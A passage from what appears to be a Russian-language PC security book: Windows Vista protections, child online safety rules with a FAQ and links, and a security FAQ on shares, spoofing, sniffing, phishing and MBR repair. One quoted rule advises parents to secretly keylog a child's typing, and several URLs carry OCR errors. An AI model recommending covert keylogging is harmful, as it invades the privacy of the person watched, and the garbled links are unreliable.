   ♦ Дополнения (Add-ons) Internet Explorer. Агент безопасности следит за приложениями, которые загружаются вместе с браузером. Spyware и другое вредоносное ПО может маскироваться под дополнения Internet Explorer и загружаться без вашего ведома. Агент безопасности не позволит загрузиться такому виду вредоносного ПО.
   ♦ Настройки Internet Explorer.
   ♦ Загрузки Internet Explorer (Internet Explorer Downloads). Агент безопасности постоянно контролирует файлы и приложения, предназначенные для работы с IE (например, ActiveX controls).
   ♦ Службы и драйверы. Поскольку службы и драйверы выполняют важнейшие функции, они имеют доступ к важным областям операционной системы. Вредоносное ПО может использовать службы для доступа к компьютеру, а также с целью маскировки под нормальные компоненты системы.
   ♦ Выполнение приложений (Application Execution). Агент безопасности следит за приложениями во время их выполнения. Spyware и другое вредоносное ПО, используя уязвимости приложений, могут нанести вред. Например, spyware может загрузиться во время запуска часто используемого вами приложения. Защитник Windows предупредит вас о подозрительном поведении приложений.
   ♦ Регистрация приложений (Application Registration). Агент безопасности данной области постоянно наблюдает за инструментами и файлами операционной системы, где приложения регистрируются с целью загрузки.
   Ну что, прокомментировать вышеописанное можно было бы лихо, сказать же следует лишь следующее: то, что раньше было прерогативой антивируса и (частично) межсетевого экрана, теперь вобрал в себя этот самый Защитник Windows. Плохо это или хорошо, мы не будем обсуждать в рамках данной книги, но то, что комплексный продукт вместо нескольких может быть потенциально более уязвим, – очевидный факт.


   WindowsServiceHardening

   Под сборным названием WindowsServiceHardening подразумевается система безопасности, основной концепцией которой является принцип «ограниченных служб» (restricted services), которые загружаются с минимальными привилегиями; их влияние на компьютер и Сеть, таким образом, ограничено.
   Большинство из служб в системе запускается под учетной записью LocalSystem, что аналогично правам администратора, и если снова вспомнить правило: "вредоносный код может все то, что могут пользователь и служба", становится вполне понятно, от чего WindowsServiceHardening пытается спасти нашу операционную систему.
   В качестве примера, пожалуй, уместно привести такие "заразы", как Slammer, Blaster и Sasser, которые атаковали систему, используя именно системные службы, запущенные с высокими привилегиями.
   Радует и то, что данная система защиты координирована с улучшенным (по заверениям корпорации) брандмауэром Windows. Теперь, если служба или сервис попытается использовать недозволенный ей порт для отправки или получения чего-либо, межсетевой экран заблокирует эту попытку.
   Ну что ж, очень даже неплохо, особенно по сравнению с предыдущим встроенным брандмауэром Windows, который к исходящему трафику был "мертв" вообще.


   User Account Control – контроль пользовательских учетных записей

   Не секрет, что в предыдущих версиях Windows абсолютное большинство из создаваемых учетных записей являлось членом локальной группы Администраторы.
   Как можно отказаться от функциональности, заменив ее ограниченной учетной записью, которая сокращает и без того невысокую продуктивность работы: ведь такие базовые задачи, как изменение системного времени, присоединение к безопасной беспроводной сети или установка драйвера принтера, требуют административных привилегий? Действительно.
   Выход из этой, казалось бы, безвыходной ситуации Microsoft нашла, внедрив в Windows Vista User Account Control (UAC). Это новый подход, согласно которому все операции в системе подразделяются на две категории:
   ♦ операции, которые может выполнять пользователь со своими стандартными правами;
   ♦ операции, которые требуют административных привилегий.
   Применение нового подхода, несомненно, выводит уровень безопасности операционной системы на новую черту, в то же самое время предоставляя пользователям с обычными неадминистраторскими привилегиями большинство каждодневных функций. UAC значительно расширяет список стандартных возможностей пользователя путем включения в него множества базовых функций, которые не несут риска нарушения безопасности, хотя раньше требовали привилегий администратора. К этим новым функциям можно отнести следующие:
   ♦ изменение временной зоны;
   ♦ установку новых шрифтов;
   ♦ изменение настроек экрана;
   ♦ настройку системы управления питанием;
   ♦ добавление принтера и других устройств, при условии что драйверы для них уже установлены в системе;
   ♦ просмотр календаря и системного времени;
   ♦ загрузку и установку обновлений при условии использования UAC-совмести-мого инсталлятора;
   ♦ создание и настройку VPN-соединения;
   ♦ установку WEP (Wired Equivalent privacy) для соединения с защищенной беспроводной сетью.
   Помимо прочего, UAC контролирует доступ к возможной конфиденциальной информации в папке Мои документы. Теперь если пользователь не является создателем файла, то ни прочесть, ни изменить, ни удалить он его не сможет.
   Рассмотрев основные особенности User Account Control, позвольте все это справедливо прокомментировать.
   И первое, что сразу же хочется сказать, – так это "лучше поздно, чем никогда". К чему это мы? Да все, вероятно, к тому, что подобная политика безопасности с ограничением прав, пользовательскими каталогами, правами доступа к файлам и прочими chown и chmod уже сколько десятилетий практикуется в UNIX-системах. Создатели Windows Vista, видимо, всерьез решили перенять прогрессивный опыт UNIX-систем. Ну наконец-то!


   BitLocker Drive Encryption (Шифрование тома)

   Последним нововведением, которое мы кратко рассмотрим, будет BitLocker Drive Encryption – инструмент, позволяющий защитить конфиденциальную информацию на диске путем ее шифрования:
   ♦ технология обеспечивает конфиденциальность информации в случае кражи диска и/или несанкционированного доступа, что достигается передовыми алгоритмами шифрования;
   ♦ BitLocker позволяет изменить стандартный процесс загрузки операционной системы, проверяя подлинность пользователя через USB-устройство с ключами дешифрования;
   ♦ применение BitLocker гарантирует загрузку только оригинальных системных файлов при старте системы – иначе система просто не загрузится.
   Комментируя вышеописанное, хотелось бы заметить, что BitLocker Drive Encryption будет исключительно полезен в корпоративных версиях Vista – на серверах, требующих двухфакторной аутентификации. Что же касается домашних машин, то здесь он будет скорее лишним, если только пользователь вдруг не захочет поиграть в Джеймса Бонда.
   Следует отметить, что вышеперечисленное – лишь основные технологии защиты Windows Vista. Более подробную информацию относительно новой NT 6.0 можно узнать на официальном сайте производителя.
   Ну что ж, вот, собственно, и настал момент истины, чтобы подвести окончательные итоги рассмотренному и вынести справедливый вердикт. Исходя из имеющихся данных, можно с уверенностью заявить, что корпорация сделала существенный шаг на пути усиления системы безопасности своей новой операционной системы. Многие из технологий защиты реализованы аппаратно, что можно считать значительным прорывом в области обеспечения безопасности системы. Акцент, сделанный на защиту ядра, неслучаен: современные тенденции развития вредоносного ПО смещаются в сторону руткитов. Введение гибких инструментов ограничения прав и доступа наталкивает на мысль, что корпорация всерьез решила перенять прогрессивный опыт UNIX-систем.
   Резюмируя, можно сказать, что в целом система безопасности Windows Vista производит очень даже неплохое впечатление, и это несмотря на имеющиеся в настоящее время инструменты взлома.




   Глава 9
   Тонкая грань


   ♦ Защита детей в Сети
   ♦ Горячий FAQ
   ♦ Полезные ссылки
   Данная глава посвящена безопасности детей в Интернете. Здесь представлены элементарные правила посещения Сети детьми, ответы на наиболее часто задаваемые родителями вопросы, касающиеся данной темы, а также электронные адреса организаций, занимающихся вопросами защиты детей.


   9.1. Защита детей в Сети

   Уже давно для многих Интернет стал жизненно необходимым – без него Homo Sapiens уже не Homo Sapiens. Было бы достаточно банально перечислять все блага вездесущего потомка Arpanet, тем не менее факт остается фактом: мы глубоко «погрязли» в паутине, и отказаться от этого изобретения человечества многим просто не под силу, особенно если эти многие – дети. Специфика человеческой психики такова, что мы быстро привыкаем к новой среде, в которой комфортно себя чувствуем, изоляция же от этой среды равносильна насилию.
   Проблема защиты детей в Сети находит самый широкий резонанс, и это неслучайно. Согласно последней статистике (www.detionLine.ru), около 50 % детей выходят в Сеть без контроля взрослых (28 % из вышедших в Интернет детей «серфят» в поисках «клубнички»).
   По данным вышеупомянутого исследования, 19 % детей иногда посещают порносайты, еще 9 % делают это регулярно. 38 % детей просматривают страницы о насилии, 16 % детей просматривают страницы с расистским содержимым, 26 % детей участвуют в чатах о сексе.
   Продолжая статистику, 25 % пятилетних детей активно используют Интернет. Уже в 2001 году 25 % пятилетних детей в США пользовались Интернетом. Эта цифра достигает 75 % среди детей возраста 15-17 лет. Данные, собранные в результате опроса "Использование компьютера и Интернета детьми и подростками в 2001 году", проведенного департаментом образования США, показывают, что дети начинают пользоваться Интернетом в самом раннем возрасте. В 2004 году Интернетом пользовалось больше детей, чем взрослых. Дети опережают взрослых по количеству времени, которое они проводят в Интернете. Это одно из заключений Ассоциации исследования средств коммуникации (Association for the Research of Communication Media) после проведенного в 2004 году опроса пользователей Интернета. Конкретные данные указывают на то, что только в возрасте между 8 и 13 годами дети составляют половину общего числа пользователей Интернета. Большинство из них выходит в Сеть из дома, и самыми частыми их занятиями являются браузинг, чаты и онлайновые игры. 44 % детей подвергались сексуальным домогательствам в Интернете.
   По данным исследования, опубликованного в 2002 году в Испании Агентством Защиты Детей (Child Protection Agency), 44 % детей, регулярно использующих Интернет, один раз подвергались сексуальным домогательствам при виртуальном общении, 11 % подверглись им несколько раз. В других случаях воздействие может принимать форму оскорблений со стороны других интернет-пользователей или почтовых сообщений с оскорбительным содержанием.
   Тревожные данные: 14,5 % детей, принявших участие в опросе, назначали встречи с незнакомцами через Интернет, 10 % из них ходили на встречи в одиночку, а 7 % никому не сообщили, что с кем-то встречаются!
   Как воспитывать своего ребенка в контексте интернет-безопасности – дело каждого. Иногда достаточно просто строгого слова родителя. Тем не менее сам факт существования руководств (содержание одного из которых приведено ниже) говорит об актуальности темы и ее крайней значимости.
   Следующее руководство не претендует на звание полноценной, всеобъемлющей инструкции и представлено как один из примеров авторитетного руководства представительства корпорации Microsoft в России (более подробную информацию по данному вопросу, а также видеоролик вы можете найти по адресу www.microsoft.com/rus/athome/security/chiLdren/defauLt.mspx). Возможно, многим читателям руководство покажется немного наивным, однако не будем забывать, в каком возрасте современные дети выходят в Сеть.
   "Интернет открывает широчайшие перспективы для обучения, отдыха и общения. Точно так же, как и в реальном мире, в Интернете может таиться бесчисленное количество угроз. Перед тем как разрешить детям выходить в Интернет самостоятельно, целесообразно установить ряд правил, которые в разумных пределах ограничивали бы действия вашего ребенка в Сети. Нижеследующие правила должны помочь сделать интернет-серфинг для вашего ребенка максимально безопасным.
   ♦ Старайтесь выходить в Интернет вместе с детьми. Желательно, чтобы ПК находился на нейтральной территории (например, в гостиной), а не в комнате у ребенка.
   ♦ На практических примерах объясните, какие опасности таит в себе Сеть и в каких случаях можно "попасться на крючок".
   ♦ Объясните своему ребенку, что крайне нежелательно выдавать реальные координаты своего места нахождения и другую личную информацию неизвестным в Интернете, даже если эти "неизвестные" выдают себя за друзей.
   ♦ Научите детей элементарным нормам культуры поведения в Интернете. Правила хорошего тона действуют везде – даже если речь идет о виртуальном мире.
   ♦ Проинструктируйте детей об особенностях интеллектуальной собственности в Интернете. Объясните, что незаконное копирование чужой собственности – музыки, компьютерных игр или ПО – приравнивается к краже.
   ♦ Доходчиво объясните детям, что понятие друга в Сети и в реальном мире может очень сильно различаться.
   ♦ Расскажите детям о том, что информация в Интернете может быть неверной, правда может оказаться ложью.
   ♦ Контролируйте сетевую активность вашего чада с помощью специализированного ПО: как вариант – установка клавиатурного шпиона – программы, контролирующей ввод всей информации с клавиатуры (пример – Perfect Keylogger)".


   9.2. Горячий FAQ

   В каком возрасте детям уже можно посещать Интернет?
   Современная реальность такова, что дети начинают пользоваться Интернетом все раньше и раньше. Следует иметь в виду, что человек, не достигший десятилетнего возраста, пока еще не имеет навыков критического мышления, крайне необходимого для самостоятельной работы в Интернете.
   Насколько оправдано наличие у ребенка своей собственной учетной записи электронной почты?
   Крайне желательно, чтобы у вас был общий семейный ящик. Почему – совсем нетрудно догадаться.
   Можно ли выделить существенные правила безопасности при использовании Интернета?
   Целесообразно решить с вашими детьми следующие вопросы:
   ♦ сколько времени в день можно проводить в Интернете;
   ♦ сайты какого содержания просматривать нежелательно или даже запрещено;
   ♦ какие элементарные правила компьютерной безопасности существуют (что такое фишинг, спам и т. п.);
   ♦ какие существуют способы защиты личных данных в Интернете и на что следует обратить внимание в первую очередь;
   ♦ элементарные правила этики в Сети – что они из себя представляют.
   Каким образом можно обезопасить себя при использовании служб мгновенных сообщений (ICQ, Mail-agent, MSN)?
   Старайтесь придерживаться следующих правил.
   ♦ Небезопасно начинать разговор с незнакомыми.
   ♦ Нежелательно заполнять графу с личными данными.
   ♦ Не злоупотребляйте возможностями системы мгновенных сообщений: распространение слухов, сплетен или сообщений оскорбительного содержания– не лучшая идея.
   Могут ли дети стать интернет-зависимыми и как этого избежать?
   Интернет открывает поистине безграничные возможности, особенно это касается общения: в Интернете дети могут значительно выделиться на фоне других, ведь ни внешность, ни физические данные здесь не имеют особого значения, и подростки легко могут повысить свою самооценку. Несложно догадаться, что чрезмерное использование компьютера может усугубить тенденцию изоляции и без того застенчивого ребенка. Установите разумные правила использования компьютера, чтобы достичь золотой середины между серфингом в Интернете и физическим развитием подростка.


   9.3. Полезные ссылки

   Приведу в этом разделе несколько полезных ссылок для родителей.
   ♦ http://www.savethechiLdren.org/ – Международная детская правозащитная организация.
   ♦ http://rgotups.dtn.ru/ – Организация по Борьбе с Детской Порнографией в Интернете (ОБДПИ), является некоммерческой, неполитической, неправительственной общественной организацией. ОБДПИ создана в июне 2003 года с целью усиления контроля за размещением материалов, содержащих детскую порнографию (ДП) в текстовом и графическом виде в зонах Сети стран СНГ. ОБДПИ является первой организацией, открыто объявившей войну распространителям и создателям материалов, явно или косвенно эксплуатирующим детскую сексуальность в корыстных целях.
   ♦ http://schooL-sector.reLarn.ru/prava/ – правовой сайт для детей. Адреса правозащитных организаций России. Разбор сложных юридических ситуаций. Конвенция о правах детей. Советы адвоката.
   ♦ http://www.hrights.ru/ – Институт Прав Человека. ИПЧ является автономной некоммерческой организацией, занимающейся исследовательской и просветительской работой в области прав человека.
   ♦ http://www.ksdi.ru/ – Комиссия по свободе доступа к информации. Правозащитный фонд, цель которого – защита права человека свободно искать, получать, передавать и распространять информацию.
   ♦ http://www.icra.org/ – Internet Content Rating Association. Ассоциация Оценки Содержания Интернета является независимой международной организацией, которая призвана информировать родителей о поджидающих их детей неприятностях и нежелательных контактах в Интернете. Основными целями ICRA ставит перед собой защиту детей от некорректных материалов и защиту свободы слова в глобальной Сети.
   ♦ http://www.pedofiLia-no.org/ – единственная независимая испанская организация по борьбе с детской порнографией в Интернете.
   ♦ http://www.missingkids.org/ – Национальный Центр Пропавших и Эксплуатируемых Детей США.
   ♦ http://www4.Law.corneLL.edu/uscode/18/usc_sup_01_18_10_I_20_110.htmL – сайт Юридического Информационного Института. Определение детской порнографии от Юридической Школы Корнелла, США.
   ♦ http://www.cyberangeLs.org/ – первая европейская организация по защите детей в Интернете. Основана в 1995 году. На текущий момент к группе энтузиастов присоединились граждане США и Канады. Советы и программы для родителей.
   Я надеюсь, что приведенные выше адреса окажутся полезными в случае возникновения сложных ситуаций.



   Глава 10
   Security FAQ

   Что такое IPC$? Я слышал, что через него возможен удаленный взлом? Нужно ли отключать этот ресурс, если да, то как это сделать?
   IPC$, или Inter-Process Communication, представляет собой специальный административный ресурс, предназначенный для создания именованных каналов. Посредством последних компьютеры обмениваются в Сети различной служебной информацией. IPC$ также служит для дистанционного управления сервером (рис. 10.1).
   Рис. 10.1. Включение сетевой службы обмена информацией IPC$
   Чтобы решить, отключать данный ресурс или нет, необходимо учесть следующее:
   ♦ если это рабочая станция, которой нужно управлять удаленно, лучше не отключать;
   ♦ если рабочая станция не требует удаленного администрирования, можно и отключить;
   ♦ если это сервер, то отключать и вовсе не стоит, так как к нему будет невозможно достучаться по сети.
   Отключается IPC$ через CMD командой net share ipc$ /delete (после перезагрузки данный ресурс все равно сам включается, поэтому можно написать соответствующий BAT-файл и поместить его в автозагрузку).
   Мой компьютер находится в локальной сети. Необходимо сделать так, чтобы машина предоставляла открытые для общего доступа ресурсы, и вместе с тем так, чтобы скрытые общие ресурсы C$, D$ и др. были недоступны. Как это сделать?
   Все, что вам необходимо сделать, – это создать параметр AutoshareWks типа DWORD c нулевым значением в следующем разделе: [HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\lanmanserver\parameters].

   Что такое спуффинг и как от него защититься?
   Фактически, спуффинг – это подмена. В данном случае имеется в виду IP-спуф-финг, то есть подмена IP. Подмена, при которой злонамеренный пользователь, воспользовавшись чужим IP-адресом, находящимся в пределах доверенной зоны IP-адресов, или авторизованным внешним адресом, выдает себя за объект, которому можно доверять. Чаще всего для защиты от IP-спуффинга применяют метод привязки IP-адреса к адресу сетевой карты (MAC-адрес), но и этот способ несовершенен: в настоящее время известны утилиты, подменяющие текущий MAC.
   Что такое сниффинг и существуют ли от него конкретные меры защиты?
   В простейшем случае под сниффингом подразумевается перехват пакетов по Сети. Более конкретно: сниффер переводит сетевую карту (там, где он установлен) в так называемый "неразборчивый режим", благодаря которому машина злоумышленника захватывает все сетевые пакеты, даже те, которые ей не предназначены. Пример сниффера – Cain & Abel. В качестве защиты при построении локальной сети можно порекомендовать использование свитчей (коммутатор), а не хабов (концентратор), а также использование протоколов, не передающих данные в открытом виде (SSH, SSL, Kerberos). Но и в этом случае возможен перехват пакетов с помощью продвинутых техник (например, ARP Poizoning).
   Что такое фишинг и можно ли от него защититься?
   Фишинг представляет собой технику обмана посетителей сайта. Суть: посетитель заходит на сайт, очень похожий на оригинал, заполняет графы, требующие ввода конфиденциальной информации (номер кредитной карты, пароль и т. д.). Далее вся эта информация отправляется злоумышленнику, создавшему этот лже-сайт. Инструменты защиты от фишинга можно найти в новейших версиях интернет-обозревателей, а также в антивирусных пакетах и межсетевых экранах. Однако же следует признать, что и по сей день эффективного способа защиты от фишинга не существует. Главный инструмент защиты в данном случае – это бдительность пользователя.
   Известно, что многие вирусы подменяют системные файлы своими. Как определить эту подмену?
   Чтобы всегда быть в курсе подобных "проделок", необходимо включить функцию уведомления о защите файлов. Делается это путем внесения в реестр по адресу HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Sys-temFileProtection параметра типа DWORD ShowPopups равного 1.
   Как в IE очистить запомненные пароли?
   В Internet Explorer интегрирована достаточно удобная вещь – автозаполнение и запоминание пароля. Чтобы стереть запомненные пароли, достаточно сделать следующее: в IE зайти в Сервис ► Свойства обозревателя ► Содержание ► Личные данные ► Автозаполнение, затем нажать кнопку Очистить пароли.
   Каким образом я могу скрыть адреса посещенных сайтов, которые автоматически высвечиваются в адресной строке, когда я ввожу новый адрес?
   Подобные следы можно ликвидировать, удалив соответствующие записи реестра по адресу [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ TypedURLs]. Примечание: здесь же сохраняются и другие следы, такие как история доступа к удаленным дискам C$ , D$ для LAN, история того, что вы набирали в поисковых формах, и т. д.
   После проверки «Касперским» выяснилось, что в системе изменена главная загрузочная запись. Что это может быть и как восстановить первоначальное состояние загрузочной записи (рис. 10.2)?


   Рис. 10.2. Проверить загрузочные записи?
   Скорее всего, измененный загрузчик – последствия boot-вируса, хотя не исключено, что загрузчик изменился и не по причине вирусной инфекции. Восстановить загрузчик можно из консоли восстановления: для этого необходимо загрузиться в Recovery Console и прописать команды fix mbr и fix boot. Загрузиться в Recovery Console можно через загрузочный ХР-диск, выбрав Repair Windows XP instaLLation ® и Recovery ConsoLe ©. Однако восстановление таким образом – не лучший способ. В большинстве случаев загрузчик все же не восстанавливается. Решение подобных проблем под силу лишь специализированному ПО, в качестве яркого примера которого можно привести ADINF32.

   Подскажите, где в «Антивирусе Касперского 7.0» прописываются обновления. А то при переустановке системы придется загружать все обновления снова.
   Обновления – папка с базами располагается по адресу and Set-tings\All Users\Application Data\Kaspersky Lab\AVP7\Bases.

   Какой из браузеров можно считать самым безопасным?
   Учитывая результаты многочисленных тестов, можно сказать, что ни один из ныне существующих браузеров не является безопасным на 100 %. Между тем некоторые из продуктов все же можно считать достаточно безопасными. Одним из таких продуктов является Opera.

   Ситуация такая: мой компьютер в локальной сети и выход в Интернет у меня через карточку. Лимит старой карточки исчерпан, но ввести новые логин и пароль возможности нет, так как при попытке входа на какой-либо сайт не появляется окно аутентификации с сервером (все настройки прокси-сервера правильные). Как вернуть окно ввода логина и пароля?
   Чтобы вновь появилось окно аутентификации, необходимо удалить старый логин и пароль через оснастку Учетные записи пользователей (рис. 10.3) – для этого зайдите в меню Пуск ? Выполнить, введите команду control userpasswords2, в появившемся окне нажмите Дополнительно ? Управление паролями ? Удалить.

   При загрузке системы «Антивирус Касперского», который ранее работал без сбоев, почему-то перестал запускаться; при попытке принудительного запуска он тоже сам отключается. Что это может быть и как с этим бороться?
   Скорее всего, ваша система инфицирована вирусом, отключающим "Антивирус Касперского". Подобная "зараза", скорее всего, настроена на отключение и других популярных антивирусных продуктов. Выход – загрузиться с чистой среды, например с загрузочного диска (Windows LiveCD). Далее, как вариант, под этой средой проверить систему антивирусом, не требующим установки (такой антивирус может быть запущен с флэшки, как пример – популярный продукт Dr.Web CureIt Сканер (рис. 10.4), который можно скачать с официального сайта Dr.Web).


   Рис. 10.3. Управление паролями


   Рис. 10.4. Сканер CureIt в действии

   Проверил свой жесткий диск «Касперским» и в дистрибутивах Panda Titanium обнаружил самый настоящий вирус! Как быть?
   Скорее всего, файл ничем не инфицирован, и поднимать тревогу не стоит. Большинство антивирусных программ время от времени срабатывают при проверке файлов других антивирусов.

   Я начинающий системный администратор и хотел бы узнать ваше мнение о том, какую из серверных операционных систем можно считать наиболее надежной и производительной?
   Из серверных операционных систем я бы порекомендовал FREE BSD. Сам ее использую уже год. Эта система зарекомендовала себя как самая безопасная, при этом ее производительность также на достаточно высоком уровне.

   Мой межсетевой экран постоянно сообщает о пришедших откуда-то пакетах с флагом «syn». Что это значит?
   Скорее всего, вашу машину кто-то или что-то (сетевой червь, к примеру) сканирует. Сканирование, как правило, является подготовкой к атаке. Поэтому вам есть над чем задуматься.